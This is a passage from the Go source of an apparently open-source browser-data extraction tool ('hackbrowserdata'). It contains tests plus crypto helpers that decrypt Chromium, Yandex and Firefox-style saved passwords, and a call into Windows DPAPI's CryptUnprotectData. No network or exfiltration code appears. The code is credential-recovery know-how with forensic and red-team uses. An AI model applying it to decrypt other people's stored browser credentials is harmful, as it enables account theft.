for _, tc := range metaPBETestCases {
metaPBETC := metaPBE{
AlgoAttr: algoAttr{
ObjectIdentifier: tc.ObjectIdentifier,
Data: struct {
Data struct {
asn1.ObjectIdentifier
SlatAttr slatAttr
}
IVData ivAttr
}{
Data: struct {
asn1.ObjectIdentifier
SlatAttr slatAttr
}{
ObjectIdentifier: tc.ObjectIdentifier,
SlatAttr: slatAttr{
EntrySalt: tc.GlobalSalt,
IterationCount: 1,
KeySize: 32,
Algorithm: struct {
asn1.ObjectIdentifier
}{
ObjectIdentifier: tc.ObjectIdentifier,
},
},
},
IVData: ivAttr{
ObjectIdentifier: tc.ObjectIdentifier,
IV: tc.IV,
},
},
},
Encrypted: tc.Encrypted,
}
encrypted, err := metaPBETC.Encrypt(tc.GlobalSalt, tc.Plaintext)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(encrypted) > 0)
assert.Equal(t, metaPBETC.Encrypted, encrypted)
}
}
func TestMetaPBE_Decrypt(t *testing.T) {
for _, tc := range metaPBETestCases {
metaPBETC := metaPBE{
AlgoAttr: algoAttr{
ObjectIdentifier: tc.ObjectIdentifier,
Data: struct {
Data struct {
asn1.ObjectIdentifier
SlatAttr slatAttr
}
IVData ivAttr
}{
Data: struct {
asn1.ObjectIdentifier
SlatAttr slatAttr
}{
ObjectIdentifier: tc.ObjectIdentifier,
SlatAttr: slatAttr{
EntrySalt: tc.GlobalSalt,
IterationCount: 1,
KeySize: 32,
Algorithm: struct {
asn1.ObjectIdentifier
}{
ObjectIdentifier: tc.ObjectIdentifier,
},
},
},
IVData: ivAttr{
ObjectIdentifier: tc.ObjectIdentifier,
IV: tc.IV,
},
},
},
Encrypted: tc.Encrypted,
}
decrypted, err := metaPBETC.Decrypt(tc.GlobalSalt)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(decrypted) > 0)
assert.Equal(t, pbePlaintext, decrypted)
}
}
func TestNewASN1PBE_LoginPBE(t *testing.T) {
for _, tc := range loginPBETestCases {
loginRaw, err := hex.DecodeString(tc.RawHexPBE)
assert.Equal(t, nil, err)
pbe, err := NewASN1PBE(loginRaw)
assert.Equal(t, nil, err)
loginPBETC, ok := pbe.(loginPBE)
assert.Equal(t, true, ok)
assert.Equal(t, loginPBETC.Encrypted, tc.Encrypted)
assert.Equal(t, loginPBETC.Data.IV, tc.IV)
assert.Equal(t, loginPBETC.Data.ObjectIdentifier, objWithMD5AndDESCBC)
}
}
func TestLoginPBE_Encrypt(t *testing.T) {
for _, tc := range loginPBETestCases {
loginPBETC := loginPBE{
CipherText: pbeCipherText,
Data: struct {
asn1.ObjectIdentifier
IV []byte
}{
ObjectIdentifier: tc.ObjectIdentifier,
IV: tc.IV,
},
Encrypted: tc.Encrypted,
}
encrypted, err := loginPBETC.Encrypt(tc.GlobalSalt, plainText)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(encrypted) > 0)
assert.Equal(t, loginPBETC.Encrypted, encrypted)
}
}
func TestLoginPBE_Decrypt(t *testing.T) {
for _, tc := range loginPBETestCases {
loginPBETC := loginPBE{
CipherText: pbeCipherText,
Data: struct {
asn1.ObjectIdentifier
IV []byte
}{
ObjectIdentifier: tc.ObjectIdentifier,
IV: tc.IV,
},
Encrypted: tc.Encrypted,
}
decrypted, err := loginPBETC.Decrypt(tc.GlobalSalt)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(decrypted) > 0)
assert.Equal(t, pbePlaintext, decrypted)
}
}
================================================
FILE: crypto/crypto.go
================================================
package crypto
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/des"
"errors"
"fmt"
)
var ErrCiphertextLengthIsInvalid = errors.New("ciphertext length is invalid")
// AES128CBCDecrypt decrypts data using AES-CBC mode.
// Note: Despite the function name, this supports all AES key sizes.
// The Go standard library's aes.NewCipher automatically selects the AES variant
// based on the key length: 16 bytes (AES-128), 24 bytes (AES-192), or 32 bytes (AES-256).
// TODO: Rename to AESCBCDecrypt to avoid confusion about supported key lengths.
func AES128CBCDecrypt(key, iv, ciphertext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
// Check ciphertext length
if len(ciphertext) < aes.BlockSize {
return nil, errors.New("AES128CBCDecrypt: ciphertext too short")
}
if len(ciphertext)%aes.BlockSize != 0 {
return nil, errors.New("AES128CBCDecrypt: ciphertext is not a multiple of the block size")
}
decryptedData := make([]byte, len(ciphertext))
mode := cipher.NewCBCDecrypter(block, iv)
mode.CryptBlocks(decryptedData, ciphertext)
// unpad the decrypted data and handle potential padding errors
decryptedData, err = pkcs5UnPadding(decryptedData)
if err != nil {
return nil, fmt.Errorf("AES128CBCDecrypt: %w", err)
}
return decryptedData, nil
}
func AES128CBCEncrypt(key, iv, plaintext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
if len(iv) != aes.BlockSize {
return nil, errors.New("AES128CBCEncrypt: iv length is invalid, must equal block size")
}
plaintext = pkcs5Padding(plaintext, block.BlockSize())
encryptedData := make([]byte, len(plaintext))
mode := cipher.NewCBCEncrypter(block, iv)
mode.CryptBlocks(encryptedData, plaintext)
return encryptedData, nil
}
func DES3Decrypt(key, iv, ciphertext []byte) ([]byte, error) {
block, err := des.NewTripleDESCipher(key)
if err != nil {
return nil, err
}
if len(ciphertext) < des.BlockSize {
return nil, errors.New("DES3Decrypt: ciphertext too short")
}
if len(ciphertext)%block.BlockSize() != 0 {
return nil, errors.New("DES3Decrypt: ciphertext is not a multiple of the block size")
}
blockMode := cipher.NewCBCDecrypter(block, iv)
sq := make([]byte, len(ciphertext))
blockMode.CryptBlocks(sq, ciphertext)
return pkcs5UnPadding(sq)
}
func DES3Encrypt(key, iv, plaintext []byte) ([]byte, error) {
block, err := des.NewTripleDESCipher(key)
if err != nil {
return nil, err
}
plaintext = pkcs5Padding(plaintext, block.BlockSize())
dst := make([]byte, len(plaintext))
blockMode := cipher.NewCBCEncrypter(block, iv)
blockMode.CryptBlocks(dst, plaintext)
return dst, nil
}
// AESGCMDecrypt chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/sync/os_crypt_win.cc
func AESGCMDecrypt(key, nounce, ciphertext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
origData, err := blockMode.Open(nil, nounce, ciphertext, nil)
if err != nil {
return nil, err
}
return origData, nil
}
// AESGCMEncrypt encrypts plaintext using AES encryption in GCM mode.
func AESGCMEncrypt(key, nonce, plaintext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
// The first parameter is the prefix for the output, we can leave it nil.
// The Seal method encrypts and authenticates the data, appending the result to the dst.
encryptedData := blockMode.Seal(nil, nonce, plaintext, nil)
return encryptedData, nil
}
func paddingZero(src []byte, length int) []byte {
padding := length - len(src)
if padding <= 0 {
return src
}
return append(src, make([]byte, padding)...)
}
func pkcs5UnPadding(src []byte) ([]byte, error) {
length := len(src)
if length == 0 {
return nil, errors.New("pkcs5UnPadding: src should not be empty")
}
padding := int(src[length-1])
if padding < 1 || padding > aes.BlockSize {
return nil, errors.New("pkcs5UnPadding: invalid padding size")
}
if padding > length {
return nil, errors.New("pkcs5UnPadding: invalid padding length")
}
for _, b := range src[length-padding:] {
if int(b) != padding {
return nil, errors.New("pkcs5UnPadding: invalid padding content")
}
}
return src[:length-padding], nil
}
func pkcs5Padding(src []byte, blocksize int) []byte {
padding := blocksize - (len(src) % blocksize)
padText := bytes.Repeat([]byte{byte(padding)}, padding)
return append(src, padText...)
}
================================================
FILE: crypto/crypto_darwin.go
================================================
//go:build darwin
package crypto
import "errors"
var ErrDarwinNotSupportDPAPI = errors.New("darwin not support dpapi")
func DecryptWithChromium(key, password []byte) ([]byte, error) {
if len(password) <= 3 {
return nil, ErrCiphertextLengthIsInvalid
}
iv := []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
return AES128CBCDecrypt(key, iv, password[3:])
}
func DecryptWithDPAPI(_ []byte) ([]byte, error) {
return nil, ErrDarwinNotSupportDPAPI
}
================================================
FILE: crypto/crypto_linux.go
================================================
//go:build linux
package crypto
func DecryptWithChromium(key, encryptPass []byte) ([]byte, error) {
if len(encryptPass) < 3 {
return nil, ErrCiphertextLengthIsInvalid
}
iv := []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
return AES128CBCDecrypt(key, iv, encryptPass[3:])
}
func DecryptWithDPAPI(_ []byte) ([]byte, error) {
return nil, nil
}
================================================
FILE: crypto/crypto_test.go
================================================
package crypto
import (
"bytes"
"crypto/sha1"
"encoding/hex"
"fmt"
"testing"
"github.com/stretchr/testify/assert"
)
const baseKey = "moond4rk"
var (
aesKey = bytes.Repeat([]byte(baseKey), 2) // 16 bytes
aesIV = []byte("01234567abcdef01") // 16 bytes
plainText = []byte("Hello, World!")
aes128Ciphertext = "19381468ecf824c0bfc7a89eed9777d2"
des3Key = sha1.New().Sum(aesKey)[:24]
des3IV = aesIV[:8]
des3Ciphertext = "a4492f31bc404fae18d53a46ca79282e"
aesGCMNonce = aesKey[:12]
aesGCMCiphertext = "6c49dac89992639713edab3a114c450968a08b53556872cea3919e2e9a"
)
func TestAES128CBCEncrypt(t *testing.T) {
encrypted, err := AES128CBCEncrypt(aesKey, aesIV, plainText)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(encrypted) > 0)
assert.Equal(t, aes128Ciphertext, fmt.Sprintf("%x", encrypted))
}
func TestAES128CBCDecrypt(t *testing.T) {
ciphertext, _ := hex.DecodeString(aes128Ciphertext)
decrypted, err := AES128CBCDecrypt(aesKey, aesIV, ciphertext)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(decrypted) > 0)
assert.Equal(t, plainText, decrypted)
}
func TestDES3Encrypt(t *testing.T) {
encrypted, err := DES3Encrypt(des3Key, des3IV, plainText)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(encrypted) > 0)
assert.Equal(t, des3Ciphertext, fmt.Sprintf("%x", encrypted))
}
func TestDES3Decrypt(t *testing.T) {
ciphertext, _ := hex.DecodeString(des3Ciphertext)
decrypted, err := DES3Decrypt(des3Key, des3IV, ciphertext)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(decrypted) > 0)
assert.Equal(t, plainText, decrypted)
}
func TestAESGCMEncrypt(t *testing.T) {
encrypted, err := AESGCMEncrypt(aesKey, aesGCMNonce, plainText)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(encrypted) > 0)
assert.Equal(t, aesGCMCiphertext, fmt.Sprintf("%x", encrypted))
}
func TestAESGCMDecrypt(t *testing.T) {
ciphertext, _ := hex.DecodeString(aesGCMCiphertext)
decrypted, err := AESGCMDecrypt(aesKey, aesGCMNonce, ciphertext)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(decrypted) > 0)
assert.Equal(t, plainText, decrypted)
}
================================================
FILE: crypto/crypto_windows.go
================================================
//go:build windows
package crypto
import (
"fmt"
"syscall"
"unsafe"
)
const (
// Assuming the nonce size is 12 bytes and the minimum encrypted data size is 3 bytes
minEncryptedDataSize = 15
nonceSize = 12
)
func DecryptWithChromium(key, ciphertext []byte) ([]byte, error) {
if len(ciphertext) < minEncryptedDataSize {
return nil, ErrCiphertextLengthIsInvalid
}
nonce := ciphertext[3 : 3+nonceSize]
encryptedPassword := ciphertext[3+nonceSize:]
return AESGCMDecrypt(key, nonce, encryptedPassword)
}
// DecryptWithYandex decrypts the password with AES-GCM
func DecryptWithYandex(key, ciphertext []byte) ([]byte, error) {
if len(ciphertext) < minEncryptedDataSize {
return nil, ErrCiphertextLengthIsInvalid
}
// remove Prefix 'v10'
// gcmBlockSize = 16
// gcmTagSize = 16
// gcmMinimumTagSize = 12 // NIST SP 800-38D recommends tags with 12 or more bytes.
// gcmStandardNonceSize = 12
nonce := ciphertext[3 : 3+nonceSize]
encryptedPassword := ciphertext[3+nonceSize:]
return AESGCMDecrypt(key, nonce, encryptedPassword)
}
type dataBlob struct {
cbData uint32
pbData *byte
}
func newBlob(d []byte) *dataBlob {
if len(d) == 0 {
return &dataBlob{}
}
return &dataBlob{
pbData: &d[0],
cbData: uint32(len(d)),
}
}
func (b *dataBlob) bytes() []byte {
d := make([]byte, b.cbData)
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
return d
}
// DecryptWithDPAPI (Data Protection Application Programming Interface)
// is a simple cryptographic application programming interface
// available as a built-in component in Windows 2000 and
// later versions of Microsoft Windows operating systems
func DecryptWithDPAPI(ciphertext []byte) ([]byte, error) {
crypt32 := syscall.NewLazyDLL("Crypt32.dll")
kernel32 := syscall.NewLazyDLL("Kernel32.dll")
unprotectDataProc := crypt32.NewProc("CryptUnprotectData")
localFreeProc := kernel32.NewProc("LocalFree")
var outBlob dataBlob
r, _, err := unprotectDataProc.Call(
uintptr(unsafe.Pointer(newBlob(ciphertext))),
0, 0, 0, 0, 0,
uintptr(unsafe.Pointer(&outBlob)),
)
if r == 0 {
return nil, fmt.Errorf("CryptUnprotectData failed with error %w", err)
}
defer localFreeProc.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
return outBlob.bytes(), nil
}
================================================
FILE: crypto/pbkdf2.go
================================================
package crypto
import (
"crypto/hmac"
"hash"
)
// PBKDF2Key derives a key from the password, salt and iteration count, returning a
// []byte of length keylen that can be used as cryptographic key. The key is
// derived based on the method described as PBKDF2 with the HMAC variant using
// the supplied hash function.
//
// For example, to use a HMAC-SHA-1 based PBKDF2 key derivation function, you
// can get a derived key for e.g. AES-256 (which needs a 32-byte key) by
// doing:
//
// dk := pbkdf2.Key([]byte("some password"), salt, 4096, 32, sha1.New)
//
// Remember to get a good random salt. At least 8 bytes is recommended by the
// RFC.
//
// Using a higher iteration count will increase the cost of an exhaustive
// search but will also make derivation proportionally slower.
// Copy from https://golang.org/x/crypto/pbkdf2
func PBKDF2Key(password, salt []byte, iter, keyLen int, h func() hash.Hash) []byte {
prf := hmac.New(h, password)
hashLen := prf.Size()
numBlocks := (keyLen + hashLen - 1) / hashLen
var buf [4]byte
dk := make([]byte, 0, numBlocks*hashLen)
u := make([]byte, hashLen)
for block := 1; block <= numBlocks; block++ {
// N.B.: || means concatenation, ^ means XOR
// for each block T_i = U_1 ^ U_2 ^ ... ^ U_iter
// U_1 = PRF(password, salt || uint(i))
prf.Reset()
prf.Write(salt)
buf[0] = byte(block >> 24)
buf[1] = byte(block >> 16)
buf[2] = byte(block >> 8)
buf[3] = byte(block)
prf.Write(buf[:4])
dk = prf.Sum(dk)
t := dk[len(dk)-hashLen:]
copy(u, t)
for n := 2; n <= iter; n++ {
prf.Reset()
prf.Write(u)
u = u[:0]
u = prf.Sum(u)
for x := range u {
t[x] ^= u[x]
}
}
}
return dk[:keyLen]
}
================================================
FILE: extractor/extractor.go
================================================
package extractor
// Extractor is an interface for extracting data from browser data files
type Extractor interface {
Extract(masterKey []byte) error
Name() string
Len() int
}
================================================
FILE: extractor/registration.go
================================================
package extractor
import (
"github.com/moond4rk/hackbrowserdata/types"
)
var extractorRegistry = make(map[types.DataType]func() Extractor)
// RegisterExtractor is used to register the data source
func RegisterExtractor(dataType types.DataType, factoryFunc func() Extractor) {
extractorRegistry[dataType] = factoryFunc
}
// CreateExtractor is used to create the data source
func CreateExtractor(dataType types.DataType) Extractor {
if factoryFunc, ok := extractorRegistry[dataType]; ok {
return factoryFunc()
}
return nil
}
================================================
FILE: go.mod
================================================
module github.com/moond4rk/hackbrowserdata
go 1.20
require (
github.com/DATA-DOG/go-sqlmock v1.5.2
github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1
github.com/godbus/dbus/v5 v5.1.0
github.com/otiai10/copy v1.14.0
github.com/ppacher/go-dbus-keyring v1.0.1
github.com/stretchr/testify v1.9.0
github.com/syndtr/goleveldb v1.0.0
github.com/tidwall/gjson v1.18.0
github.com/urfave/cli/v2 v2.27.4
golang.org/x/text v0.19.0
modernc.org/sqlite v1.31.1
)
require (
github.com/cpuguy83/go-md2man/v2 v2.0.4 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/dustin/go-humanize v1.0.1 // indirect
github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db // indirect
github.com/google/uuid v1.6.0 // indirect
github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/ncruces/go-strftime v0.1.9 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
github.com/russross/blackfriday/v2 v2.1.0 // indirect
github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.0 // indirect
github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 // indirect
golang.org/x/sync v0.8.0 // indirect
golang.org/x/sys v0.22.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect
modernc.org/libc v1.55.3 // indirect
modernc.org/mathutil v1.6.0 // indirect
modernc.org/memory v1.8.0 // indirect
modernc.org/strutil v1.2.0 // indirect
modernc.org/token v1.1.0 // indirect
)
================================================
FILE: go.sum
================================================
github.com/DATA-DOG/go-sqlmock v1.5.2 h1:OcvFkGmslmlZibjAjaHm3L//6LiuBgolP7OputlJIzU=
github.com/DATA-DOG/go-sqlmock v1.5.2/go.mod h1:88MAG/4G7SMwSE3CeA0ZKzrT5CiOU3OJ+JlNzwDqpNU=
github.com/cpuguy83/go-md2man/v2 v2.0.4 h1:wfIWP927BUkWJb2NmU/kNDYIBTh/ziUX91+lVfRxZq4=
github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1 h1:FWNFq4fM1wPfcK40yHE5UO3RUdSNPaBC+j3PokzA6OQ=
github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI=
github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db h1:woRePGFeVFfLKN/pOkfl+p/TAqKOfFu+7KPlMVpok/w=
github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
github.com/google/pprof v0.0.0-20240409012703-83162a5b38cd h1:gbpYu9NMq8jhDVbvlGkMFWCjLFlqqEZjEmObmhUy6Vo=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
github.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI=
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
github.com/kisielk/sqlstruct v0.0.0-20201105191214-5f3e10d3ab46/go.mod h1:yyMNCyc/Ib3bDTKd379tNMpB/7/H5TjM2Y9QJ5THLbE=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4=
github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.7.0 h1:WSHQ+IS43OoUrWtD1/bbclrwK8TTH5hzp+umCiuxHgs=
github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/gomega v1.4.3 h1:RE1xgDvH7imwFD45h+u2SgIfERHlS2yNG4DObb5BSKU=
github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
github.com/otiai10/copy v1.14.0 h1:dCI/t1iTdYGtkvCuBG2BgR6KZa83PTclw4U5n2wAllU=
github.com/otiai10/copy v1.14.0/go.mod h1:ECfuL02W+/FkTWZWgQqXPWZgW9oeKCSQ5qVfSc4qc4w=
github.com/otiai10/mint v1.5.1 h1:XaPLeE+9vGbuyEHem1JNk3bYc7KKqyI/na0/mLd/Kks=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/ppacher/go-dbus-keyring v1.0.1 h1:dM4dMfP5w9MxY+foFHCQiN7izEGpFdKr3tZeMGmvqD0=
github.com/ppacher/go-dbus-keyring v1.0.1/go.mod h1:JEmkRwBVPBFkOHedAsoZALWmhNJxR/R/ykkFpbEHtGE=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
github.com/syndtr/goleveldb v1.0.0 h1:fBdIW9lB4Iz0n9khmH8w27SJ3QEJ7+IgjPEwGSZiFdE=
github.com/syndtr/goleveldb v1.0.0/go.mod h1:ZVVdQEZoIme9iO1Ch2Jdy24qqXrMMOU6lpPAyBWyWuQ=
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs=
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/urfave/cli/v2 v2.27.4 h1:o1owoI+02Eb+K107p27wEX9Bb8eqIoZCfLXloLUSWJ8=
github.com/urfave/cli/v2 v2.27.4/go.mod h1:m4QzxcD2qpra4z7WhzEGn74WZLViBnMpb1ToCAKdGRQ=
github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 h1:gEOO8jv9F4OT7lGCjxCBTO/36wtF6j2nSip77qHd4x4=
github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1/go.mod h1:Ohn+xnUBiLI6FVj/9LpzZWtj1/D6lUovWYBkxHVV3aM=
golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA=
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd h1:nTDtHvHSdCn1m6ITfMRqtOd/9+7a3s8RBNOZ3eYZzJA=
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ=
golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI=
golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.19.0 h1:kTxAhCbGbxhK0IwgSKiMO5awPoDQ0RpfiVYBfK860YM=
golang.org/x/text v0.19.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY=
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/fsnotify.v1 v1.4.7 h1:xOHLXZwVvI9hhs+cLKq5+I5onOuwQLhQwiu63xxlHs4=
gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
gopkg.in/yaml.v2 v2.2.1 h1:mUhvW9EsL+naU5Q3cakzfE91YhliOondGd6ZrsDBHQE=
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
modernc.org/cc/v4 v4.21.4 h1:3Be/Rdo1fpr8GrQ7IVw9OHtplU4gWbb+wNgeoBMmGLQ=
modernc.org/ccgo/v4 v4.19.2 h1:lwQZgvboKD0jBwdaeVCTouxhxAyN6iawF3STraAal8Y=
modernc.org/fileutil v1.3.0 h1:gQ5SIzK3H9kdfai/5x41oQiKValumqNTDXMvKo62HvE=
modernc.org/gc/v2 v2.4.1 h1:9cNzOqPyMJBvrUipmynX0ZohMhcxPtMccYgGOJdOiBw=
